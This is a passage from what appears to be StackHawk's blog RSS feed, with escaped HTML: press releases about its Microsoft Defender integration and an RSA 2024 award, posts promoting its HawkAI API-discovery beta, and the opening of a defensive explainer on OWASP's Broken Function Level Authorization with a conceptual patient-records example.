assessments.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Developers Get What They Need, Fast:&lt;/b&gt; APIs are easily discoverable and documented, accelerating development cycles.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Risk Management Gets Real:&lt;/b&gt; Proactive identification of all APIs empowers you to prioritize threats and allocate resources effectively.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Breaches Become a Distant Memory:&lt;/b&gt; With all APIs identified and secured, you significantly reduce your attack surface.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;These are just a few of our favorite outcomes achievable with a strong API discovery process.&lt;/p&gt;&lt;h2&gt;How to Get There&lt;/h2&gt;&lt;p&gt;Leading companies and security teams are embracing API discovery with urgency. Here&amp;#39;s how they&amp;#39;re doing it:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Leveraging Automation:&lt;/b&gt; Automated discovery tools take the heavy lifting out of finding APIs, saving valuable time and effort.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Centralized Inventory:&lt;/b&gt; A single source of truth for all APIs, including ownership, functionality, and access controls, ensures everyone is on the same page.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;API-Centric Security:&lt;/b&gt; Security considerations are woven into the entire API lifecycle, from design to deployment.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Collaboration is Key:&lt;/b&gt; Open communication between AppSec and development teams fosters a culture of API security awareness.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Unlocking Your Holistic View&lt;/h2&gt;&lt;p&gt;Building a holistic view of your API attack surface can be approached in a few different ways:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Network Scanning:&lt;/b&gt; Identify APIs within your network infrastructure.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Code Analysis:&lt;/b&gt; Uncover APIs embedded within applications and microservices.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Developer Engagement:&lt;/b&gt; Encourage developers to register and document their APIs during creation.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Legacy System Integration:&lt;/b&gt; Develop strategies to discover APIs within older, potentially undocumented systems.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Any one of these techniques will help you better understand your API landscape but deploying a combination of these methods is even better. For an efficient proactive approach, we recommend starting with code analysis and developer engagement.&lt;/p&gt;&lt;h2&gt;Benefits Beyond Security&lt;/h2&gt;&lt;p&gt;The benefits of a holistic API view extend far beyond just security. AppSec professionals, developers, and organizations as a whole will reap a multitude of positive changes:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Increased Confidence:&lt;/b&gt; Knowing you&amp;#39;ve secured all APIs creates a sense of control and accomplishment.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Reduced Stress:&lt;/b&gt; No more sleepless nights worrying about hidden vulnerabilities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Empowered Developers:&lt;/b&gt; Faster API discovery improves developer productivity and innovation.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Improved Collaboration:&lt;/b&gt; A shared understanding of APIs fosters better communication across teams.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;API discovery isn&amp;#39;t just about plugging security holes; it&amp;#39;s about owning your overall attack surface. By taking control of your API landscape, you can achieve a more secure, efficient, and collaborative development environment.&lt;/p&gt;&lt;p&gt;StackHawk&amp;#39;s API Discovery capability is now in open beta. If you&amp;#39;re interested in learning more, &lt;a href=&quot;https://docs.stackhawk.com/web-app/api-discovery.html&quot;&gt;read our documentation here&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[StackHawk Announces Integration with Microsoft Defender for Cloud]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/stackhawk-announces-integration-with-microsoft-defender</guid><category><![CDATA[StackHawk News]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;&lt;b&gt;DENVER, Colorado - May 07, 2024 -  &lt;/b&gt;&lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;b&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt;, &lt;/b&gt;the company delivering API and application security testing as part of modern software delivery practices, announced a new integration with Microsoft Defender for Cloud to help organizations build software more securely. APIs are crucial to building modern applications. As a result, the API layer has become a critical security risk for many organizations. Efficient and proactive API security testing remains a pivotal challenge for security teams looking to strengthen their API security posture. &lt;/p&gt;&lt;p&gt;StackHawk’s latest product integration with  &lt;a href=&quot;https://www.microsoft.com/en-us/security/business/cloud-security/microsoft-defender-cloud&quot;&gt;&lt;u&gt;Microsoft Defender for Cloud – a cloud-native application protection platform&lt;/u&gt;&lt;/a&gt;&lt;u&gt;, &lt;/u&gt;gives security professionals greater visibility into the security status of their APIs during the time of development within one unified viewpoint and complements the runtime API security capabilities provided by Defender for APIs. The integration with StackHawk will enable users to aggregate API security findings and posture insights across multiple tools, providing AppSec professionals with a correlated view of current risks and a more integrated approach to securing APIs. &lt;/p&gt;&lt;p&gt;StackHawk continues to bridge the gap between application owners and security teams by combining shift-left and developer automation with visibility and insights into the health of an organization’s security posture. This latest product integration adds to StackHawk’s existing integrations across the Microsoft and GitHub ecosystems, allowing engineers to automate security testing via GitHub Actions and &lt;a href=&quot;https://github.com/enterprise/advanced-security&quot;&gt;&lt;u&gt;GitHub Advanced Security&lt;/u&gt;&lt;/a&gt; and now giving AppSec teams the API Security insights and oversight with Microsoft Defender for Cloud. &lt;/p&gt;&lt;p&gt;Microsoft customers looking to prioritize API security testing now have a seamless path with StackHawk. The StackHawk platform is intricately woven into the Microsoft ecosystem.  Developers can quickly &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;activate a free trial of StackHawk&lt;/u&gt;&lt;/a&gt;, integrating security testing workflows with CI/CD platforms like GitHub Actions or Azure DevOps.When graduating from the free tier, Microsoft customers can &lt;a href=&quot;https://azuremarketplace.microsoft.com/en-us/marketplace/apps/stackhawkinc1614363947577.stackhawk?tab=overview&quot;&gt;&lt;u&gt;purchase StackHawk through the Azure Marketplace&lt;/u&gt;&lt;/a&gt; to reduce or completely eliminate procurement time. Information about how to integrate StackHawk scan results into Defender for Cloud can be found &lt;a href=&quot;https://aka.ms/APISecurityTestingOnboardingGuideStackHawk&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;“StackHawk’s integration with&lt;a href=&quot;https://learn.microsoft.com/en-us/azure/defender-for-cloud/defender-for-apis-introduction&quot;&gt;&lt;u&gt;  Microsoft &lt;/u&gt;&lt;/a&gt;&lt;u&gt;Defender for Cloud &lt;/u&gt; extends the ability to assess the API security posture of an application beyond what’s happening in production,” said Joni Klippert, CEO and co-founder at StackHawk. “The StackHawk platform is designed to support teams in identifying and fixing API security vulnerabilities earlier in the development process while delivering secure code prior to production. This collaboration with Microsoft will enable customers to seamlessly pinpoint API security risks across their entire API ecosystem, strengthening their security posture.”&lt;/p&gt;&lt;p&gt;“Our collaboration with StackHawk builds upon Defender for Cloud’s current API security capabilities, providing our customers with a proactive approach to identifying vulnerabilities in APIs,” said Vlad Korsunksky, Vice President, Cloud &amp;amp; Enterprise Security at Microsoft.  “Working together with StackHawk, we equip security teams with the knowledge, context and clarity needed to identify and mitigate API security risks across their entire lifecycle.”&lt;/p&gt;&lt;p&gt;For more information about how StackHawk integrates with Microsoft Defender for Cloud, please visit: &lt;a href=&quot;https://www.stackhawk.com/partners/microsoft/&quot;&gt;&lt;u&gt;https://www.stackhawk.com/partners/microsoft/&lt;/u&gt;&lt;/a&gt; &lt;/p&gt;&lt;p&gt;Additionally, customers can purchase StackHawk through the &lt;a href=&quot;https://azuremarketplace.microsoft.com/en-us/marketplace/apps/stackhawkinc1614363947577.stackhawk?tab=overview&quot;&gt;&lt;u&gt;Microsoft Azure Marketplace&lt;/u&gt;&lt;/a&gt;.
&lt;/p&gt;&lt;p&gt;&lt;b&gt;About StackHawk&lt;/b&gt;
StackHawk is making API and application security testing part of software delivery. The StackHawk platform empowers engineers to easily find and fix application security bugs at any stage of software development. With a strong founding team that has deep experience in security and DevOps, and some of the best venture investors in the business, StackHawk is putting application security testing into the hands of engineers. Learn more and sign up for a free trial at &lt;a href=&quot;https://c212.net/c/link/?t=0&amp;l=en&amp;o=4119892-1&amp;h=2702231382&amp;u=https%3A%2F%2Fc212.net%2Fc%2Flink%2F%3Ft%3D0%26l%3Den%26o%3D3687154-1%26h%3D1741665075%26u%3Dhttp%253A%252F%252Fwww.stackhawk.com%252F%26a%3Dwww.stackhawk.com&amp;a=www.stackhawk.com&quot;&gt;&lt;u&gt;www.stackhawk.com&lt;/u&gt;&lt;/a&gt;.
&lt;/p&gt;&lt;p&gt;&lt;b&gt;Media Contact
&lt;/b&gt;Sena McGrand
Lumina Communications for StackHawk
&lt;a href=&quot;mailto:stackhawk@luminapr.com&quot;&gt;&lt;u&gt;stackhawk@luminapr.com&lt;/u&gt;&lt;/a&gt; &lt;/p&gt;</content:encoded></item><item><title><![CDATA[StackHawk Secures Top Honor in 2024 Global Infosec Awards at RSA 2024]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/stackhawk-named-winner-in-2024-global-infosec-awards-at-rsa-2024</guid><category><![CDATA[StackHawk News]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;&lt;b&gt;DENVER, May 6, 2024&lt;/b&gt; -- &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt;, the company making application security testing part of software delivery, today announced that the company was named winner of ‘Most Innovative API Security’ in the 12th Annual Global Infosec Awards at RSA 2024. These prestigious global awards, by &lt;i&gt;Cyber Defense Magazine&lt;/i&gt;, recognize innovators with compelling value propositions for their products in competitive infosecurity industries.&lt;/p&gt;&lt;p&gt;Built for modern engineering teams, StackHawk has reimagined API security testing by empowering developers to find and fix security vulnerabilities during their traditional build workflows. StackHawk believes in putting API and application security testing in the hands of the engineers who write the code, while bridging the trust gap among their AppSec counterparts with visibility and control. &lt;/p&gt;&lt;p&gt;“Being honored as a winner is a testament to our team&amp;#39;s continued pursuit of excellence and commitment to redefining application and API security,” said Joni Klippert, CEO and co-founder of StackHawk. “This recognition underscores our dedication to providing cutting-edge solutions that not only meet but exceed our customers&amp;#39; expectations. We are incredibly proud of this achievement and excited to continue leading the way towards furthered innovation in API Security.”&lt;/p&gt;&lt;p&gt;A developer-centric API security testing tool ensures more vulnerabilities can be addressed during the development stage of software delivery, reducing hours spent triaging bugs found in production, and helping scale AppSec teams. The platform enables diligent prioritization of security bugs earlier in the development process to avoid schedule disruption and help teams identify and investigate high priority issues, allowing them to fix security bugs prior to production at the accelerated rate of software delivery. &lt;/p&gt;&lt;p&gt;“StackHawk embodies the key attributes we seek in winners: a proactive approach to understanding future threats, delivering cost-effective solutions, and innovating in unexpected ways to mitigate cyber risks and stay ahead of breaches,&amp;quot; said Gary S. Miliefsky, Publisher of Cyber Defense Magazine. &amp;quot;StackHawk is unquestionably deserving of this prestigious award and consideration for implementation in any environment,&amp;quot;&lt;/p&gt;&lt;p&gt;This announcement comes just on the heels of StackHawk’s integration with Microsoft Defender for Cloud, which will help organizations build software more securely. The company also recently announced the availability of &lt;a href=&quot;https://www.prnewswire.com/news-releases/stackhawk-api-testing-solution-now-available-in-the-microsoft-azure-marketplace-302093847.html&quot;&gt;&lt;u&gt;StackHawk Pro and StackHawk Enterprise&lt;/u&gt;&lt;/a&gt; in the Microsoft Azure Marketplace, and the closed beta of &amp;#39;&lt;a href=&quot;https://lp.stackhawk.com/hawkai-beta&quot;&gt;&lt;u&gt;API Discovery powered by HawkAI&lt;/u&gt;&lt;/a&gt;&amp;quot; which leverages AI to give Security teams improved insights of their API and Application attack surface. These offerings provide security teams with ongoing discovery and visibility into their organization&amp;#39;s attack surface. They enable teams to pinpoint gaps in coverage, align security testing with the fast pace of software development, and collaborate more effectively with code-writing engineers.&lt;/p&gt;&lt;p&gt;
&lt;/p&gt;&lt;p&gt;&lt;b&gt;About StackHawk &lt;/b&gt;&lt;/p&gt;&lt;p&gt;StackHawk is making application security testing part of software delivery. The StackHawk platform offers engineering teams the ability to find and fix application bugs at any stage of software development. Built by a strong founding team with deep experience in security and DevOps, and funded by some of the best venture investors in the business, StackHawk is leading the shift left movement by putting application security testing into the hands of engineers the moment they build code. Learn more and sign up for a free trial at &lt;a href=&quot;https://www.stackhawk.com&quot;&gt;&lt;u&gt;www.stackhawk.com&lt;/u&gt;&lt;/a&gt;. 
&lt;/p&gt;&lt;p&gt;&lt;b&gt;About Cyber Defense Magazine&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Cyber Defense Magazine is the premier source of cyber security news and information for InfoSec professions in business and government. We are managed and published by and for ethical, honest, passionate information security professionals. Our mission is to share cutting-edge knowledge, real-world stories and awards on the best ideas, products, and services in the information technology industry.  We deliver electronic magazines every month online for free, and special editions exclusively for the RSA Conferences. CDM is a proud member of the Cyber Defense Media Group. Learn more about us at &lt;a href=&quot;https://www.cyberdefensemagazine.com&quot;&gt;&lt;u&gt;https://www.cyberdefensemagazine.com&lt;/u&gt;&lt;/a&gt; and visit &lt;a href=&quot;https://www.cyberdefensetv.com&quot;&gt;&lt;u&gt;https://www.cyberdefensetv.com&lt;/u&gt;&lt;/a&gt; and &lt;a href=&quot;https://www.cyberdefenseradio.com&quot;&gt;&lt;u&gt;https://www.cyberdefenseradio.com&lt;/u&gt;&lt;/a&gt; to see and hear some of the most informative interviews of many of these winning company executives.  Join a webinar at &lt;a href=&quot;https://www.cyberdefensewebinars.com&quot;&gt;&lt;u&gt;https://www.cyberdefensewebinars.com&lt;/u&gt;&lt;/a&gt; and realize that infosec knowledge is power. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;StackHawk Media Contact:&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Sena McGrand&lt;/p&gt;&lt;p&gt;Lumina Communications for StackHawk&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;mailto:stackhawk@luminapr.com&quot;&gt;&lt;u&gt;stackhawk@luminapr.com&lt;/u&gt;&lt;/a&gt; &lt;/p&gt;&lt;p&gt;
&lt;/p&gt;&lt;p&gt;&lt;b&gt;CDM Media Inquiries:&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Irene Noser, Marketing Executive&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;mailto:marketing@cyberdefensemagazine.com&quot;&gt;&lt;u&gt;marketing@cyberdefensemagazine.com&lt;/u&gt;&lt;/a&gt; &lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://www.cyberdefensemagazine.com&quot;&gt;&lt;u&gt;www.cyberdefensemagazine.com&lt;/u&gt;&lt;/a&gt; &lt;/p&gt;</content:encoded></item><item><title><![CDATA[Building a Secure API Ecosystem Starts with API Discovery]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/building-a-secure-api-ecosystem-starts-with-api-discovery</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[Nicole Jones]]></dc:creator><content:encoded>&lt;p&gt;When it comes to application security, we spend countless hours protecting our applications against ever-evolving threats— We patch vulnerabilities, implement robust authentication, and try to stay vigilant. Yet, we still don’t have a full picture of our attack surface at any given time.&lt;/p&gt;&lt;p&gt;The problem comes from not having a reliable way to continuously define and inventory our attack surface given how quickly software changes. This blog aims to explain why API discovery is no longer a “one-and-done” but an ongoing security imperative.&lt;/p&gt;&lt;h2&gt;Warning Signs You&amp;#39;re Not Aware of Your Entire Attack Surface&lt;/h2&gt;&lt;p&gt;Ask yourself the following questions:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Fragmented Visibility:&lt;/b&gt; Do you struggle to get a complete picture of all APIs within your organization? Are there whispers of &amp;quot;shadow APIs&amp;quot; or undocumented APIs?&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Repetitive Security Efforts:&lt;/b&gt; Are you constantly reinventing the wheel when it comes to API security assessments?&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Slow Development Cycles:&lt;/b&gt; Does finding and integrating with relevant APIs become a roadblock for developers?&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;If you recognize any of these signs, you&amp;#39;re likely facing an API discovery problem. Let&amp;#39;s dispel some common myths that might be holding you back from addressing it.&lt;/p&gt;&lt;h2&gt;Debunking the Myths&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Myth #1: We Don&amp;#39;t Have That Many APIs.&lt;/b&gt; Even small organizations have a surprising number of APIs, both internal and external. Complexity grows quickly, and manual tracking becomes unsustainable.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Myth #2: Our APIs Are Well Documented.&lt;/b&gt; Documentation is ideal, but it often lags behind development, and APIs can change over time. Discovery tools ensure you have the latest information.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Myth #3: Security Testing Covers It All.&lt;/b&gt; Security testing might identify some exposed APIs, but it&amp;#39;s a reactive approach. Discovery offers a proactive way to find and secure all APIs.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;The Costs of Inaction&lt;/h2&gt;&lt;p&gt;Ignoring API discovery comes at a significant cost:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Wasted Resources:&lt;/b&gt; Duplicating security assessments and developer time spent searching for APIs leads to inefficiency and delays.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Poor API Governance:&lt;/b&gt; Without proper discovery, enforcing API security policies and managing access controls becomes a challenge.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Potential Security Breaches:&lt;/b&gt; We hate to state the obvious, but undiscovered APIs create a vulnerable attack surface. Hackers thrive on finding hidden APIs, potentially exposing sensitive data.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Securing Your API Landscape&lt;/h2&gt;&lt;p&gt;The API landscape is constantly evolving. Here&amp;#39;s how to stay aligned with software development:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Invest in API Discovery Tools:&lt;/b&gt; Automated tools can scan your network or source code to identify all APIs, documented or not.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Embrace a Centralized Inventory:&lt;/b&gt; Maintain a comprehensive catalog of all APIs, including ownership, functionality, and access controls.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Promote API Security Awareness:&lt;/b&gt; Educate developers and IT teams on the importance of secure API design and development practices.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;By prioritizing API discovery, you gain a holistic view of your API ecosystem, enabling proactive security measures. This mitigates risks and fosters innovation by empowering developers to find and utilize valuable APIs quickly and securely. &lt;/p&gt;&lt;p&gt;Ready to explore your API landscape? &lt;a href=&quot;https://lp.stackhawk.com/hawkai-beta&quot;&gt;Sign up for access to StackHawk&amp;#39;s API Discovery Powered by HawkAI!&lt;/a&gt; Now in beta.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Re-Defining API Discovery: How We Designed API Discovery Powered by HawkAI]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/re-defining-api-discovery-how-we-designed-api-discovery-powered-by-hawkai</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[Scott Gerlach]]></dc:creator><content:encoded>&lt;p&gt;At StackHawk, we&amp;#39;ve helped countless customers find tremendous value in our API security testing capabilities. We are repeatedly chosen for our ability to comprehensively test APIs and seamlessly automate testing within their CI/CD pipelines.&lt;/p&gt;&lt;p&gt;However, a recurring theme has emerged: customers are only uncovering a fraction of their total attack surface.&lt;/p&gt;&lt;p&gt;Our internal analysis of code repositories reveals that many security teams are not testing and are potentially unaware of a significant portion of their APIs. The fast pace of software development makes it difficult for security to keep up, creating this as a natural result. That&amp;#39;s why we created API Discovery Powered by HawkAI, to help security teams keep up with software development and own their attack surface.&lt;/p&gt;&lt;h2&gt;Discovery – Understanding Your Attack Surface&lt;/h2&gt;&lt;p&gt;Modern software development is inherently complex, making it challenging for security teams to pinpoint all the &amp;quot;things&amp;quot; they need to test. At StackHawk, we believe that Source Code is the Source of Truth and HawkAI takes an inside-out approach, empowering developers and AppSec teams to achieve both security and speed. Here&amp;#39;s how it works:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Effortless Integration:&lt;/b&gt; Simply connect your code repositories to StackHawk.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;AI-Powered Identification:&lt;/b&gt; HawkAI utilizes intelligent algorithms to identify repositories containing running applications and APIs.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Attack Surface Defined:&lt;/b&gt; Uncover previously unknown APIs and gain a comprehensive view of your attack surface.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Progress Tracking:&lt;/b&gt; Monitor your progress toward achieving complete API coverage.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Observability – Keeping Pace with Change&lt;/h2&gt;&lt;p&gt;Once you have a handle on your assets, how do you ensure your security processes keep up with the constant stream of code changes?&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Continuous Monitoring:&lt;/b&gt; HawkAI tracks how often code is deployed to your assets and compares it to your testing frequency.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Policy Alignment:&lt;/b&gt; Identify discrepancies between your security policies and actual testing coverage.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Success Support:&lt;/b&gt; We&amp;#39;re here to help your security team refine their program and maximize its effectiveness.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Understanding AI Concerns&lt;/h2&gt;&lt;p&gt;We understand concerns regarding AI and have applied thoughtful guidelines throughout our development process:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Code Repository Access:&lt;/b&gt; HawkAI maintains read-only access to your repositories and does not have the ability to write or change code on your behalf.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Security: &lt;/b&gt;Your code and data are protected and will never be sent to third parties.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Transparency&lt;/b&gt;: HawkAI clearly indicates when AI is involved through the use of icons.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Leveraging Insights&lt;/h2&gt;&lt;p&gt;HawkAI goes beyond just discovery. It provides valuable insights to collaborate with your development team. When you discover a previously untested asset, HawkAI identifies the last developer who committed code, allowing you to easily reach out and gain a deeper understanding of the asset&amp;#39;s purpose. This fosters communication and streamlines the process of bringing the asset under security testing.&lt;/p&gt;&lt;p&gt;At StackHawk, we believe AI is a powerful tool to help security and developer teams prioritize security efforts and work more efficiently by focusing on what will move the needle toward delivering secure, high-quality software. HawkAI embodies this philosophy by offering a comprehensive approach to API discovery, ensuring your security efforts keep pace with software development.&lt;/p&gt;&lt;p&gt;Ready to own your attack surface coverage? &lt;a href=&quot;https://lp.stackhawk.com/hawkai-beta&quot;&gt;&lt;u&gt;Sign up to get access to the beta&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;</content:encoded></item><item><title><![CDATA[Understanding and Protecting Against API5: Broken Function Level Authorization]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/understanding-and-protecting-against-api5-broken-function-level-authorization</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Like most modern applications, APIs require extensive authorization controls to safeguard data and functionality. When authorization controls break down, sensitive data and critical functions become exposed, leading to potentially disastrous consequences. When precisely diagnosing authorization-related vulnerabilities, the OWASP API Security Top Ten outlines several variants. One such variant, Broken Function Level Authorization (BFLA), is an API vulnerability to which users can perform actions or use functions they shouldn&amp;#39;t have access to. Imagine an attacker gaining unauthorized administrative privileges on your platform, the ability to view other users&amp;#39; private data, or disrupting core operations through a vulnerable API endpoint—that&amp;#39;s the risk BFLA poses.&lt;/p&gt;&lt;p&gt;In this blog, we&amp;#39;ll delve into what BFLA is, how it&amp;#39;s exploited, and the essential strategies and security controls you must implement to protect your APIs. We&amp;#39;ll also explore how modern DAST (Dynamic Application Security Testing) solutions, specifically designed to find BFLA vulnerabilities, can significantly enhance API security. Mainly, we will look at StackHawk and how its DAST platform can help you find and fix these issues before they can be exploited. First, let’s take a deeper look at the nuances of BLFA, beginning with a closer look at what it is.&lt;/p&gt;&lt;h2&gt;What is Broken Function Level Authorization (BFLA)?&lt;/h2&gt;&lt;p&gt;Broken Function-Level Authorization (BFLA) occurs when an application or API fails to enforce authorization controls at the function level properly. This means users can access functionality, perform actions, or retrieve data that should be restricted based on their role or permissions.&lt;/p&gt;&lt;p&gt;We can imagine this description through a simple example to bring it to what it looks like in the real world. In most cases, applications and the APIs that power them often have different functions for different user types. Regular users might have basic profile updating capabilities, while administrators likely have the power to delete accounts, modify system settings, or access sensitive data across users. BFLA vulnerabilities occur when the restrictions that govern who and how users can use APIs aren&amp;#39;t correctly implemented. In the example above, a regular user may gain admin privileges, allowing them to delete users from the application even though they should not be allowed to have access to this unauthorized functionality. This would be a consequence of BFLA.&lt;/p&gt;&lt;p&gt;A BFLA usually involves a few steps to execute. Here is a simplified outline of how attacks often work:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Mapping the API:&lt;/b&gt; An attacker analyzes API requests and responses, observing how different functions and endpoints are structured within an application&amp;#39;s APIs.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Identifying Authorization Gaps:&lt;/b&gt; Next, attackers look for patterns in how the API maps permissions to functions. For example, can the attacker access an admin function by changing a simple parameter in the API call?&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Exploitation:&lt;/b&gt; Once a potential vulnerability is spotted, the attacker experiments by sending requests intended for higher-privileged users or restricted functions, testing if the API will wrongly grant them access. If they are successful, the BFLA vulnerability has been successfully exploited.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;If you read the above description and thought, “That sounds a lot like Broken Object-Level Authorization (BOLA)!”, you’d be somewhat correct. Both are related but involve slight nuances, hence why they are listed as separate vulnerability types within the &lt;a href=&quot;https://www.stackhawk.com/blog/api-security-owasps-top-10-vulnerabilities-explained/&quot;&gt;OWASP API Security Top Ten&lt;/a&gt;. Let’s take a closer look at their differences and similarities.&lt;/p&gt;&lt;h2&gt;What Are The Differences Between BFLA vs. BOLA?&lt;/h2&gt;&lt;p&gt;While BFLA (Broken Function Level Authorization) and BOLA (Broken Object Level Authorization) are both dangerous API vulnerabilities, understanding their distinctions is crucial for effective protection:&lt;/p&gt;&lt;p&gt;The core issue surrounding BOLA centers on an attacker&amp;#39;s ability to access data objects to which they shouldn&amp;#39;t have rights. This often involves manipulating direct object identifiers within API requests.&lt;/p&gt;&lt;p&gt;For instance, let’s say there is an endpoint such as&lt;b&gt; [GET] /patient/:patientID&lt;/b&gt; that allows users to access data about their personal medical profile. The user can only access their profile and private medical details if authorization is set up correctly. However, without the authorization checks in place, an attacker could change the &lt;b&gt;patientID&lt;/b&gt; in the URL to include the ID of other patients, granting them access to their profiles and exposing personal data. In this scenario, this would be considered a BOLA vulnerability&lt;/p&gt;&lt;p&gt;With BFLA, the way the attack is executed and the results can be slightly different. In the case of a BFLA vulnerability, the issue arises when an API doesn&amp;#39;t correctly restrict who can use what functions. Attackers gain the ability to perform actions meant for higher-privileged roles that should only be available to users in the upper user hierarchy.&lt;/p&gt;&lt;p&gt;Using the previous example, let&amp;#39;s say that there is a corresponding &lt;b&gt;[POST] /patient/:patientID &lt;/b&gt;endpoint that allows doctors to update charts, medical history, and diagnosis in a patient&amp;#39;s profile. If an attacker has successfully realized that they have access to the [GET] endpoint, they can easily change the HTTP method to [POST], add false information to the request, and if the proper checks aren&amp;#39;t in place, update a patient&amp;#39;s medical records on the system even though it is not a legitimate request.&lt;/p&gt;&lt;p&gt;For a quick reference to compare the two, here’s a more concise look:&lt;/p&gt;&lt;p&gt;Both attacks are similar but with different outcomes and slightly different execution paths. That being said, there are some overlaps. BFLA and BOLA stem from the failure to correctly implement authorization logic within the API, which could lead to unauthorized data access or account takeover. However, you can think of BOLA as a subset of BFLA. BFLA addresses a broader range of authorization issues, encompassing unauthorized object access and the misuse of various API functions. While closely linked, BFLA highlights that API authorization flaws can lead to unauthorized access to both data and actions that a user shouldn&amp;#39;t be able to perform.&lt;/p&gt;&lt;h2&gt;The Root Causes of 